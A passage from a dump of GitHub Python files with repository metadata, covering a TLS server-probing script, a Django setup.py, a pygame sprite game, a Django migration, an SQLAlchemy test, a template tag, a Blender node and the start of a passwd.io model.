server_item_object:\n\t\t\t\t\tpass\n\t\t\t\tserver_item = server_item_object();\n\t\t\t\tserver_item.full_servername = sn_t\n\t\t\t\tserver_item.enabled=True\n\t\t\t\tserver_item.alexa_rating=0\n\t\t\t\tserver_item.servername= server \n\t\t\t\tserver_item.port= port\n\t\t\t\tserver_item.protocol= protocol\n\t\t\t\tserver_item.id = 0\n\n\t\t\t\treturn server_item\n\t\t\treturn iter([make_entry(x) for x in args])\n\n\tdef GetQueue(self):\n\t\treturn test_output.Queue(self.args)\n\n\tdef print_probe(self, prober):\n\t\tprint str(prober)\n\noptions_config = OptionParser()\n\noptions_config.add_option(\"-n\", action=\"store\", type=\"int\", dest=\"index\", default=1)\noptions_config.add_option(\"--alone\", action=\"store_true\", dest=\"standalone\")\noptions_config.add_option(\"--debug\", action=\"store_true\", dest=\"debug\")\noptions_config.add_option(\"--verbose\", action=\"store_true\", dest=\"verbose\")\noptions_config.add_option(\"--run-id\", action=\"store\", type=\"int\", dest=\"run_id\", default=0)\noptions_config.add_option(\"--source\", action=\"store\", type=\"string\", dest=\"source_name\", default=\"TLSProber\")\noptions_config.add_option(\"--description\", action=\"store\", type=\"string\", dest=\"description\",default=\"TLSProber\")\noptions_config.add_option(\"--file\", action=\"store_true\", dest=\"file_list_only\")\noptions_config.add_option(\"--processes\", action=\"store\", dest=\"process_count\", default=1)\noptions_config.add_option(\"--max\", action=\"store\", type=\"int\", dest=\"max_tests\",default=0)\noptions_config.add_option(\"--testbase2\", action=\"store_true\", dest=\"use_testbase2\")\noptions_config.add_option(\"--performance\", action=\"store_true\", dest=\"register_performance\")\noptions_config.add_option(\"--large_run\", action=\"store_true\", dest=\"large_run\")\noptions_config.add_option(\"--small_run\", action=\"store_true\", dest=\"small_run\")\noptions_config.add_option(\"--test\", action=\"store_true\", dest=\"just_test\")\n\n(options, args) = options_config.parse_args()\n\nif not options.standalone and options.index != 1:\n\ttime.sleep(options.index % 10);\n\n\t\noutput_target = db_list if not options.just_test else test_output \n\ndebug = options.debug\ntested_count = 0;\n\nout_files = output_target(options, args)\nout_files.debug = options.verbose\n\nhostlist = out_files.GetQueue()\n\t\nfor server_item in hostlist:\n\tif not server_item.enabled:\n\t\tcontinue\n\t\n\tsock = None\n\ttry:\n\t\tif options.verbose:\n\t\t\tprint \"testing connection to \", server_item.servername\n\t\tsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\t\tif not sock:\n\t\t\tif options.verbose:\n\t\t\t\tprint \"fail connect\"\n\t\t\ttime.sleep(0.1)\n\t\t\tout_files.log_performance()\n\t\t\tcontinue\n\n\t\tsock.settimeout(10) #Only on python 2.3 or greater\n\t\tsock.connect((server_item.servername, server_item.port))\n\t\tif not sock.fileno():\n\t\t\tif options.verbose:\n\t\t\t\tprint \"fail connect\"\n\t\t\ttime.sleep(0.1)\n\t\t\tout_files.log_performance()\n\t\t\tcontinue\n\t\tip_address = sock.getpeername()[0]\n\t\t\t\n\t\tsock.close()\n\t\tsock = None\n\t\tprobedalready = False\n\t\tif not options.just_test:\n\t\t\t(probedalready,created) = Probe.ServerIPProbed.GetIPLock(out_files.run, ip_address, server_item) \n\t\t\tif not created:\n\t\t\t\ttry:\n\t\t\t\t\tprobedalready.server_aliases.add(server_item)\n\t\t\t\texcept:\n\t\t\t\t\tpass # COmpletely ignore problems in this add\n\t\t\t\ttime.sleep(0.1)\n\t\t\t\tout_files.log_performance()\n\t\t\t\tcontinue; # don't probe, already tested this port on this IP address\n\t\t\t\t\n\t\t\t\n\t\t\n\texcept socket.error, error:\n\t\tif options.verbose:\n\t\t\tprint \"Connection Failed socket error: \", error.message, \"\\n\"\n\t\tif sock:\n\t\t\tsock.close()\n\t\t\tsock = None\n\t\ttime.sleep(0.1)\n\t\tout_files.log_performance()\n\n\t\tcontinue\n\texcept:\n\t\traise \n\n\tif options.verbose:\n\t\tprint \"Probing \",server_item.id, \",\", server_item.servername, \":\", server_item.port, \":\", server_item.protocol\n\t\t\n\tprober = ProbeServer(server_item)\n\tif options.verbose:\n\t\tprober.debug = True\n\t\n\tif not options.just_test:\n\t\tprober.ip_address_rec.append(probedalready)\n\tprober.Probe(do_full_test=True)\n\t\n\tif options.verbose:\n\t\tprint \"Probed \",server_item.id, \",\", server_item.servername, \":\", server_item.port, \":\", server_item.protocol\n\n\tif not options.just_test:\n\t\tfor ip in prober.ip_addresses:\n\t\t\tif ip != ip_address:\n\t\t\t\t(probedalready,created) = Probe.ServerIPProbed.GetIPLock(out_files.run, ip_address, server_item)\n\t\t\t\tprober.ip_address_rec.append(probedalready)\n\t\n\t\t\t\tif not created:\n\t\t\t\t\ttry:\n\t\t\t\t\t\tprobedalready.server_aliases.add(server_item)\n\t\t\t\t\texcept:\n\t\t\t\t\t\tpass # COmpletely ignore problems in this add\n\t\n\tout_files.print_probe(prober)\n\t\n\ttested_count += 1\n\tif int(options.max_tests) and int(options.max_tests) <= tested_count:\n\t\tbreak\n\nif options.verbose:\n\tprint \"Finished\"\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2012,"string":"2,012"}}},{"rowIdx":617,"cells":{"__id__":{"kind":"number","value":17755394830811,"string":"17,755,394,830,811"},"blob_id":{"kind":"string","value":"72dbe73b5d5ea1530d09ee5eef6c189ef6ca328a"},"directory_id":{"kind":"string","value":"c06a38bc5a2210d7fea0c127f0649cc94c1a1b45"},"path":{"kind":"string","value":"/setup.py"},"content_id":{"kind":"string","value":"c75f5ccdef4d94551afd29956f21cc2e4a929781"},"detected_licenses":{"kind":"list like","value":["BSD-3-Clause"],"string":"[\n \"BSD-3-Clause\"\n]"},"license_type":{"kind":"string","value":"permissive"},"repo_name":{"kind":"string","value":"oxpeter/django-gencal"},"repo_url":{"kind":"string","value":"https://github.com/oxpeter/django-gencal"},"snapshot_id":{"kind":"string","value":"53e8f3e506e1cc8951bb4655bd88d54dfa83bb22"},"revision_id":{"kind":"string","value":"6bc0b93debe40f35bcf1317cda466a3f13afa65d"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-12-27T11:44:56.010552","string":"2020-12-27T11:44:56.010552"},"revision_date":{"kind":"timestamp","value":"2014-09-17T20:22:46","string":"2014-09-17T20:22:46"},"committer_date":{"kind":"timestamp","value":"2014-09-17T20:22:46","string":"2014-09-17T20:22:46"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"from setuptools import setup, find_packages\n\nf = open('README.md')\nreadme = f.read()\nf.close()\n\nsetup(\n name='django-gencal',\n version='0.2',\n description='django-gencal is a resuable Django application for rendering calendars.',\n long_description=readme,\n author='Justin Lilly',\n author_email='justin@justinlilly.com',\n url='http://code.justinlilly.com/django-gencal/',\n classifiers=[\n 'Development Status :: 3 - Alpha',\n 'Environment :: Web Environment',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: BSD License',\n 'Operating System :: OS Independent',\n 'Programming Language :: Python',\n 'Framework :: Django',\n ],\n packages=['gencal'],\n zip_safe=False,\n)\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":618,"cells":{"__id__":{"kind":"number","value":7103875913737,"string":"7,103,875,913,737"},"blob_id":{"kind":"string","value":"9a03d1201eb0e9fefd78c58d2280de48e4ae4e2a"},"directory_id":{"kind":"string","value":"53d61fd33855775edd5393460ea786b5bb2d0cb9"},"path":{"kind":"string","value":"/The Thrilling Adventures of Dan and Steve.py"},"content_id":{"kind":"string","value":"ea6693075eebd020e6d72b298877c4dc14d095a8"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"Sarion56/The-Thrilling-Adventures-of-Dan-and-Steve"},"repo_url":{"kind":"string","value":"https://github.com/Sarion56/The-Thrilling-Adventures-of-Dan-and-Steve"},"snapshot_id":{"kind":"string","value":"9d71cfb01d1b8321db822ebb9dd3ab203d520e48"},"revision_id":{"kind":"string","value":"0d67ebde13705c943000a71a6fe330547d323f5e"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2018-12-31T09:39:51.648085","string":"2018-12-31T09:39:51.648085"},"revision_date":{"kind":"timestamp","value":"2014-07-10T13:04:09","string":"2014-07-10T13:04:09"},"committer_date":{"kind":"timestamp","value":"2014-07-10T13:04:09","string":"2014-07-10T13:04:09"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"#The Thrilling Adventures of Dan and Steve\n#Daniel Brown\n\nimport pygame, sys\nfrom pygame.locals import *\n\nFPS = 15\nWINDOWWIDTH = 900\nWINDOWHEIGHT = 600\nWHITE = (255, 255, 255)\n\nRIGHT = 'right'\nLEFT = 'left'\nSTOPL = 'stop left'\nSTOPR = 'stop right'\n\n\ndef main():\n global FPSCLOCK, DISPLAYSURF, DAN1, DAN2, DAN3, DAN4, LDAN1, LDAN2, LDAN3, LDAN4, DANLIST, LDANLIST\n pygame.init()\n FPSCLOCK = pygame.time.Clock()\n DISPLAYSURF = pygame.display.set_mode((WINDOWWIDTH, WINDOWHEIGHT))\n pygame.display.set_caption('The Thrilling Adventures of Dan and Steve')\n direction = STOPR\n position = 10\n\n DAN1 = pygame.image.load('Assets/Graphics/Dan1.png')\n DAN2 = pygame.image.load('Assets/Graphics/Dan2.png')\n DAN3 = pygame.image.load('Assets/Graphics/Dan3.png')\n DAN4 = pygame.image.load('Assets/Graphics/Dan4.png')\n LDAN1 = pygame.transform.flip(DAN1, True, False)\n LDAN2 = pygame.transform.flip(DAN2, True, False)\n LDAN3 = pygame.transform.flip(DAN3, True, False)\n LDAN4 = pygame.transform.flip(DAN4, True, False)\n\n DANLIST = (DAN1, DAN2, DAN3, DAN4)\n LDANLIST = (LDAN1, LDAN2, LDAN3, LDAN4)\n\n CDAN = DAN1\n\n while True: # main game loop\n DISPLAYSURF.fill(WHITE)\n \n for event in pygame.event.get():\n if event.type == QUIT:\n terminate()\n elif event.type == KEYDOWN:\n if (event.key == K_LEFT or event.key == K_a):\n direction = LEFT\n elif (event.key == K_RIGHT or event.key == K_d):\n direction = RIGHT\n elif event.key == K_ESCAPE:\n terminate()\n elif event.type == KEYUP:\n if (event.key == K_LEFT or event.key == K_a):\n direction = STOPL\n elif (event.key == K_RIGHT or event.key == K_d):\n direction = STOPR\n\n if direction == LEFT:\n position -= 10\n elif direction == RIGHT:\n position += 10\n\n CDAN = cycleDan(direction, CDAN)\n\n drawDan(position, CDAN)\n\n pygame.display.update()\n FPSCLOCK.tick(FPS)\n\ndef terminate():\n pygame.quit()\n sys.exit()\n\ndef cycleDan(danDirect, danCurrent):\n if danDirect == RIGHT:\n for i in range(len(DANLIST)):\n if danCurrent == DANLIST[i] and i != 3:\n return DANLIST[i+1]\n elif danCurrent == DANLIST[i] and i == 3:\n return DANLIST[0]\n elif danCurrent == LDANLIST[i]:\n return DANLIST[0]\n elif danDirect == STOPR:\n return DANLIST[0]\n elif danDirect == LEFT:\n for i in range(len(LDANLIST)):\n if danCurrent == LDANLIST[i] and i != 3:\n return LDANLIST[i+1]\n elif danCurrent == LDANLIST[i] and i == 3:\n return LDANLIST[0]\n elif danCurrent == DANLIST[i]:\n return LDANLIST[0]\n elif danDirect == STOPL:\n return LDANLIST[0]\n\ndef drawDan(danPos, danCurrent):\n DISPLAYSURF.blit(danCurrent, (danPos, 310))\n\nif __name__=='__main__':\n main()\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":619,"cells":{"__id__":{"kind":"number","value":9483287831676,"string":"9,483,287,831,676"},"blob_id":{"kind":"string","value":"3768fe669c040f8b771cc63416be6e30d3c9b0d4"},"directory_id":{"kind":"string","value":"366eee0d18fd591212b15550bf74679e28e4206a"},"path":{"kind":"string","value":"/equipments/migrations/0001_initial.py"},"content_id":{"kind":"string","value":"41c60552c64c7ac994cfc352fef9aa1f320b1b46"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"isaacrdz/machinery"},"repo_url":{"kind":"string","value":"https://github.com/isaacrdz/machinery"},"snapshot_id":{"kind":"string","value":"b5fa0bf40f064c55eae660f48b243c3fb49d6c68"},"revision_id":{"kind":"string","value":"71a232c24b614815bd4c12958f5c95d71b1625cc"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2016-09-06T03:56:57.712970","string":"2016-09-06T03:56:57.712970"},"revision_date":{"kind":"timestamp","value":"2014-05-13T16:00:50","string":"2014-05-13T16:00:50"},"committer_date":{"kind":"timestamp","value":"2014-05-13T16:00:50","string":"2014-05-13T16:00:50"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"# -*- coding: utf-8 -*-\nfrom south.utils import datetime_utils as datetime\nfrom south.db import db\nfrom south.v2 import SchemaMigration\nfrom django.db import models\n\n\nclass Migration(SchemaMigration):\n\n def forwards(self, orm):\n # Adding model 'Equipment'\n db.create_table(u'equipments_equipment', (\n (u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),\n ('brand', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['brands.Brand'])),\n ('family', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['families.Family'])),\n ('model', self.gf('django.db.models.fields.CharField')(max_length=255)),\n ('specification', self.gf('django.db.models.fields.TextField')()),\n ))\n db.send_create_signal(u'equipments', ['Equipment'])\n\n\n def backwards(self, orm):\n # Deleting model 'Equipment'\n db.delete_table(u'equipments_equipment')\n\n\n models = {\n u'brands.brand': {\n 'Meta': {'object_name': 'Brand'},\n u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'name': ('django.db.models.fields.CharField', [], {'max_length': '255'})\n },\n u'equipments.equipment': {\n 'Meta': {'object_name': 'Equipment'},\n 'brand': ('django.db.models.fields.related.ForeignKey', [], {'to': u\"orm['brands.Brand']\"}),\n 'family': ('django.db.models.fields.related.ForeignKey', [], {'to': u\"orm['families.Family']\"}),\n u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'model': ('django.db.models.fields.CharField', [], {'max_length': '255'}),\n 'specification': ('django.db.models.fields.TextField', [], {})\n },\n u'families.family': {\n 'Meta': {'object_name': 'Family'},\n u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'name': ('django.db.models.fields.CharField', [], {'max_length': '255'})\n }\n }\n\n complete_apps = ['equipments']"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":620,"cells":{"__id__":{"kind":"number","value":8366596337542,"string":"8,366,596,337,542"},"blob_id":{"kind":"string","value":"88c541a5fee2f9ba5ee551061ae4a6f95519b57e"},"directory_id":{"kind":"string","value":"613f710373dbc8b3999b9707663f7380e44ce2bd"},"path":{"kind":"string","value":"/model/tests.py"},"content_id":{"kind":"string","value":"fcfd80f3c550e8d6fae76f461ef7a44c4b382820"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"cghackspace/destelado"},"repo_url":{"kind":"string","value":"https://github.com/cghackspace/destelado"},"snapshot_id":{"kind":"string","value":"92103412f75b21bf9f1fe22e44e1da9803bb6279"},"revision_id":{"kind":"string","value":"3badd7784b4dc9b7d4d17643513fb00e417331c1"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2016-09-10T16:03:42.585139","string":"2016-09-10T16:03:42.585139"},"revision_date":{"kind":"timestamp","value":"2012-05-10T20:29:56","string":"2012-05-10T20:29:56"},"committer_date":{"kind":"timestamp","value":"2012-05-10T20:29:56","string":"2012-05-10T20:29:56"},"github_id":{"kind":"number","value":2937022,"string":"2,937,022"},"star_events_count":{"kind":"number","value":5,"string":"5"},"fork_events_count":{"kind":"number","value":1,"string":"1"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"bool","value":false,"string":"false"},"gha_event_created_at":{"kind":"timestamp","value":"2013-10-12T08:10:32","string":"2013-10-12T08:10:32"},"gha_created_at":{"kind":"timestamp","value":"2011-12-08T01:12:32","string":"2011-12-08T01:12:32"},"gha_updated_at":{"kind":"timestamp","value":"2013-10-10T05:16:46","string":"2013-10-10T05:16:46"},"gha_pushed_at":{"kind":"timestamp","value":"2012-05-10T20:38:08","string":"2012-05-10T20:38:08"},"gha_size":{"kind":"number","value":128,"string":"128"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"number","value":3,"string":"3"},"gha_open_issues_count":{"kind":"number","value":1,"string":"1"},"gha_language":{"kind":"string","value":"JavaScript"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"import datetime\nimport unittest\nimport api\n\nfrom entities import Base, Assiduidade, Deputado, Gasto\nfrom sqlalchemy.orm import sessionmaker\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.ext.declarative import declarative_base\n\nclass GenericTest(unittest.TestCase):\n def setUp(self):\n self.engine = create_engine('sqlite:///test.db')\n Base.metadata.create_all(self.engine)\n self.api = api.DataAPI()\n\n def tearDown(self):\n Base.metadata.drop_all(self.engine)\n\nclass TestDeputado(GenericTest):\n\n def test_dummy(self):\n # create a configured \"Session\" class\n Session = sessionmaker(bind=self.engine)\n\n # create a Session\n session = Session()\n\n # work with sess\n dep = Deputado('a', 'b', 'c')\n\n assiduidades = [Assiduidade(0, datetime.date(2011, 1, 1), 10, 20),\n Assiduidade(0, datetime.date(2011, 2, 1), 10, 25),\n Assiduidade(0, datetime.date(2011, 3, 1), 10, 30),\n Assiduidade(0, datetime.date(2011, 4, 1), 10, 35),\n Assiduidade(0, datetime.date(2011, 5, 1), 10, 40)]\n \n self.api.inserir_deputado(dep)\n\n for assiduidade in assiduidades:\n assiduidade.id_deputado = dep.id\n self.api.inserir_assiduidade(assiduidade)\n \n \n gastos = [Gasto(0, datetime.date(2011, 1, 1), 'Passeio com a familia', 'Viagem', 1500.45),\n Gasto(0, datetime.date(2011, 3, 1), 'Caixa 2', 'Roubos', 150220.45),\n Gasto(0, datetime.date(2011, 5, 1), 'Verba para infra-estrutura', 'Verbas', 300.42)]\n \n for gasto in gastos:\n gasto.id_deputado = dep.id\n self.api.inserir_gasto(gasto)\n\n print api.DataAPI().get_deputados()\n print api.DataAPI().get_deputado(1)\n print api.DataAPI().get_deputado(1).assiduidades\n print api.DataAPI().get_deputado(1).gastos\n \nif __name__ == '__main__':\n unittest.main()\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2012,"string":"2,012"}}},{"rowIdx":621,"cells":{"__id__":{"kind":"number","value":15719580327680,"string":"15,719,580,327,680"},"blob_id":{"kind":"string","value":"0eea831f006c7397f53df88650926d1986d98b8a"},"directory_id":{"kind":"string","value":"0ba7d7484d1e20ac9c900272e889062ede4e0e7f"},"path":{"kind":"string","value":"/dolweb/blog/templatetags/blog_tags.py"},"content_id":{"kind":"string","value":"2bf29f4fa41a44001594decec1ebb2006ba37bc6"},"detected_licenses":{"kind":"list like","value":["CC-BY-SA-3.0","CC-BY-4.0","MIT"],"string":"[\n \"CC-BY-SA-3.0\",\n \"CC-BY-4.0\",\n \"MIT\"\n]"},"license_type":{"kind":"string","value":"non_permissive"},"repo_name":{"kind":"string","value":"Llumex03/www"},"repo_url":{"kind":"string","value":"https://github.com/Llumex03/www"},"snapshot_id":{"kind":"string","value":"f5b975eb4e1f6a503419fecd368a11a54a9a9049"},"revision_id":{"kind":"string","value":"3fe8538f5a273b4e6bef285b380a507cb9538d3b"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-02-24T15:52:40.690064","string":"2020-02-24T15:52:40.690064"},"revision_date":{"kind":"timestamp","value":"2014-05-08T17:31:04","string":"2014-05-08T17:31:04"},"committer_date":{"kind":"timestamp","value":"2014-05-08T17:31:04","string":"2014-05-08T17:31:04"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"from django.template import Library\nregister = Library()\n\nfrom bs4 import BeautifulSoup\nfrom django.conf import settings\nfrom django.template import defaultfilters\nfrom dolweb.blog.models import BlogSerie\n\n@register.inclusion_tag('blog_chunk_series.html')\ndef get_blog_series(number=5):\n \"\"\"Return the most recent visible blog series\"\"\"\n return {\n 'series': BlogSerie.objects.filter(visible=True)[:number],\n }\n\n\n@register.filter\ndef cuthere_excerpt(content):\n try:\n cut_here = BeautifulSoup(content).find('a', id='cuthere')\n return ''.join(map(str, reversed(cut_here.parent.find_previous_siblings())))\n except AttributeError:\n return defaultfilters.truncatewords(content, 100)\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":622,"cells":{"__id__":{"kind":"number","value":17583596141713,"string":"17,583,596,141,713"},"blob_id":{"kind":"string","value":"d938ebc4620d4f0d317169a40b89cd996765b664"},"directory_id":{"kind":"string","value":"8983c02e0d2231722bc8f8e5031fdb1fbd735363"},"path":{"kind":"string","value":"/nodes/string_modification/mn_combine_strings.py"},"content_id":{"kind":"string","value":"89d96e2f70996b2eea829c1de2d84b1a120518df"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"brentini/animation-nodes"},"repo_url":{"kind":"string","value":"https://github.com/brentini/animation-nodes"},"snapshot_id":{"kind":"string","value":"02043f0d49f17b92d928c2e32c8f48f8a633d52b"},"revision_id":{"kind":"string","value":"cfc775a8ce8f11e89b89067881a77680c0f8895e"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-02-26T17:39:55.445898","string":"2020-02-26T17:39:55.445898"},"revision_date":{"kind":"timestamp","value":"2014-10-06T16:02:19","string":"2014-10-06T16:02:19"},"committer_date":{"kind":"timestamp","value":"2014-10-06T16:02:19","string":"2014-10-06T16:02:19"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"import bpy\nfrom bpy.types import Node\nfrom mn_node_base import AnimationNode\nfrom mn_execution import nodePropertyChanged, nodeTreeChanged\n\n\nclass CombineStringsNode(Node, AnimationNode):\n\tbl_idname = \"CombineStringsNode\"\n\tbl_label = \"Combine Strings\"\n\t\n\tdef inputAmountChanged(self, context):\n\t\tself.inputs.clear()\n\t\tself.setInputSockets()\n\t\tnodeTreeChanged()\n\t\n\tinputAmount = bpy.props.IntProperty(default = 2, min = 1, soft_max = 10, update = inputAmountChanged)\n\t\n\tdef init(self, context):\n\t\tself.setInputSockets()\n\t\tself.outputs.new(\"StringSocket\", \"Text\")\n\t\t\n\tdef draw_buttons(self, context, layout):\n\t\tlayout.prop(self, \"inputAmount\", text = \"Input Amount\")\n\t\t\n\tdef execute(self, input):\n\t\toutput = {}\n\t\toutput[\"Text\"] = \"\"\n\t\tfor i in range(self.inputAmount):\n\t\t\toutput[\"Text\"] += input[self.getInputNameByIndex(i)]\n\t\treturn output\n\t\t\n\tdef setInputSockets(self):\n\t\tfor i in range(self.inputAmount):\n\t\t\tself.inputs.new(\"StringSocket\", self.getInputNameByIndex(i))\n\t\t\t\n\tdef getInputNameByIndex(self, index):\n\t\treturn \"Text \" + str(index)\t\n\t\t\n# register\n################################\n\t\t\ndef register():\n\tbpy.utils.register_module(__name__)\n\ndef unregister():\n\tbpy.utils.unregister_module(__name__)"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":623,"cells":{"__id__":{"kind":"number","value":13941463851109,"string":"13,941,463,851,109"},"blob_id":{"kind":"string","value":"fd32ab498fc839894ad2695be1c81b07f5c61c0b"},"directory_id":{"kind":"string","value":"faca3dcf3a50b4217ebd8cbe2c18cb1f213599c1"},"path":{"kind":"string","value":"/passwdio/models.py"},"content_id":{"kind":"string","value":"85b4f9af080b22bf4b77ac0745da947a037da293"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"manuelkiessling/passwd.io"},"repo_url":{"kind":"string","value":"https://github.com/manuelkiessling/passwd.io"},"snapshot_id":{"kind":"string","value":"461191aa644c03e386fc4a03e54f4320d14d9787"},"revision_id":{"kind":"string","value":"fb66d397034fb1d758431edeb8d8dcc89dad112d"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-02T22:17:18.130693","string":"2021-01-02T22:17:18.130693"},"revision_date":{"kind":"timestamp","value":"2014-09-21T10:04:39","string":"2014-09-21T10:04:39"},"committer_date":{"kind":"timestamp","value":"2014-09-21T10:04:39","string":"2014-09-21T10:04:39"},"github_id":{"kind":"number","value":5245273,"string":"5,245,273"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":2,"string":"2"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"from sqlalchemy import (\n Column,\n Integer,\n String,\n Text,\n Boolean,\n )\n\nfrom sqlalchemy.ext.declarative import declarative_base\n\nfrom sqlalchemy.orm import (\n scoped_session,\n sessionmaker,\n )\n\nfrom zope.sqlalchemy import ZopeTransactionExtension\n\nDBSession = scoped_session(sessionmaker(extension=ZopeTransactionExtension()))\nBase = declarative_base()\n\nclass File(Base):\n __tablename__ = 'files'\n id = Column(String(36), default='', nullable=False, primary_key=True)\n owner_hash = Column(String(40), unique=True)\n access_hash = Column(String(40))\n content = 